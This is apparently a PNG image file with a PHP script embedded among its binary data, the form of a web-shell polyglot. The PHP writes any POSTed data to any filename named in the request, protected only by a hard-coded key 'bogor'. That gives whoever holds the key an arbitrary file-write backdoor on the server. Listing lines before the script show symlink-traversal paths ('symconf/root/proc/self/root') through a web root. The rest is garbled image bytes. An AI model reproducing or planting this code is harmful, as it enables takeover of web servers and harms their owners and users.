php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/gs/ |
| files >> /var/www/html/sub/images/Rm19_symconf/root/proc/self/root/var/www/html/gs/postfile.php |
<?php
error_reporting(1);
/*
* Written By: Taifun
* using parts from the "Web2SQL example" from ShivalWolf
* and parts from the "POST any local file to a php server example" from Scott
*
* Date: 2013/Mar/05
* Contact: info@puravidaapps.com
*
* Version 2: 'dirname(__FILE__)' added to avoid problems finding the complete path to the script
*/
/************************************CONFIG****************************************/
//SETTINGS//
//This code is something you set in the APP so random people cant use it.
$ACCESSKEY="bogor";
/************************************CONFIG****************************************/
//these are just in case setting headers forcing it to always expire
header('Cache-Control: no-cache, must-revalidate');
if($_GET['p']==$ACCESSKEY){
// this is the workaround for file_get_contents(...)
// $a = dirname(__FILE__).'/php1/Compat/Function/file_get_contents.php';
require_once (dirname(__FILE__).'/php1/Compat/Function/file_get_contents.php');
$data = php_compat_file_get_contents('php://input');
//echo $a;
$filename = $_GET['filename'];
if (file_put_contents($filename,$data)) {
if (filesize($filename) != 0) {
echo "File transfer completed.";
} else {
header("HTTP/1.0 400 Bad Request");
echo "File is empty.";
}
} else {
header("HTTP/1.0 400 Bad Request");
echo "File transfer failed.";
}
} else {
header("HTTP/1.0 400 Bad Request");
echo "Access denied"; //reports if accesskey is wrong
}
?>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`